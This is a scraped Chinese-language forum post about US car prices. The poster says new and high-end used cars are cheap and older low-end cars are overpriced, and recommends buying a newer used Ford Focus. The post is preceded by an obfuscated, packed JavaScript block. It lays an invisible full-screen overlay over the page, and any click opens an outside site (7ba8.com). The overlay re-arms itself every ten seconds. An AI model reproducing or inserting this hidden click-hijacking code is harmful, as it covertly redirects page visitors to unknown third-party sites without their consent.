<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>最近帮几个朋友买车，逛了一圈CL又和周围人聊天，有一些感想：
1: 美国新车确实比别的国家都来的便宜，特别是大排量。国内就不提了，比欧洲普遍要便宜10-20%。
2: 美国二手车市场，高端车便宜，3-4万刀能买到很好的车。
3: 但是低端车比我去过的大部分国家都卖的贵，这点我不是很理解。一个跑了10万Mile，7-8年的DFBB或者同等级的车居然也能卖8000。这种车在欧洲3000－4000刀都没人要。我以前的一辆Opel Astra，5年6万Mile，买的时候车没问题，买了后开了5年也一直毫无问题，当时的才用了3500欧。国内6-7万块更能买不少不错的新车了。
由此我得出一个结论，那就是既然美国高端二手车新车便宜，而旧车又贵，最划算的方式是穷的时候买个1-2万左右的新车或者二手好一点的车开着。 开到5-60,000Mile的时候出手。一个年要不了多少钱，还不用提心吊胆的不是更好吗？
比如我要买个入门级别的买菜车，我会考虑一辆新一点的二手Ford Focus。也就1万出头，开个5-6年卖了，期间按时保养不会有什么大问题，这样不是更划算吗？
Focus这个车设计的容量也不小，2厢的我们曾经塞进去过一整套Bunk Bed。 |
收藏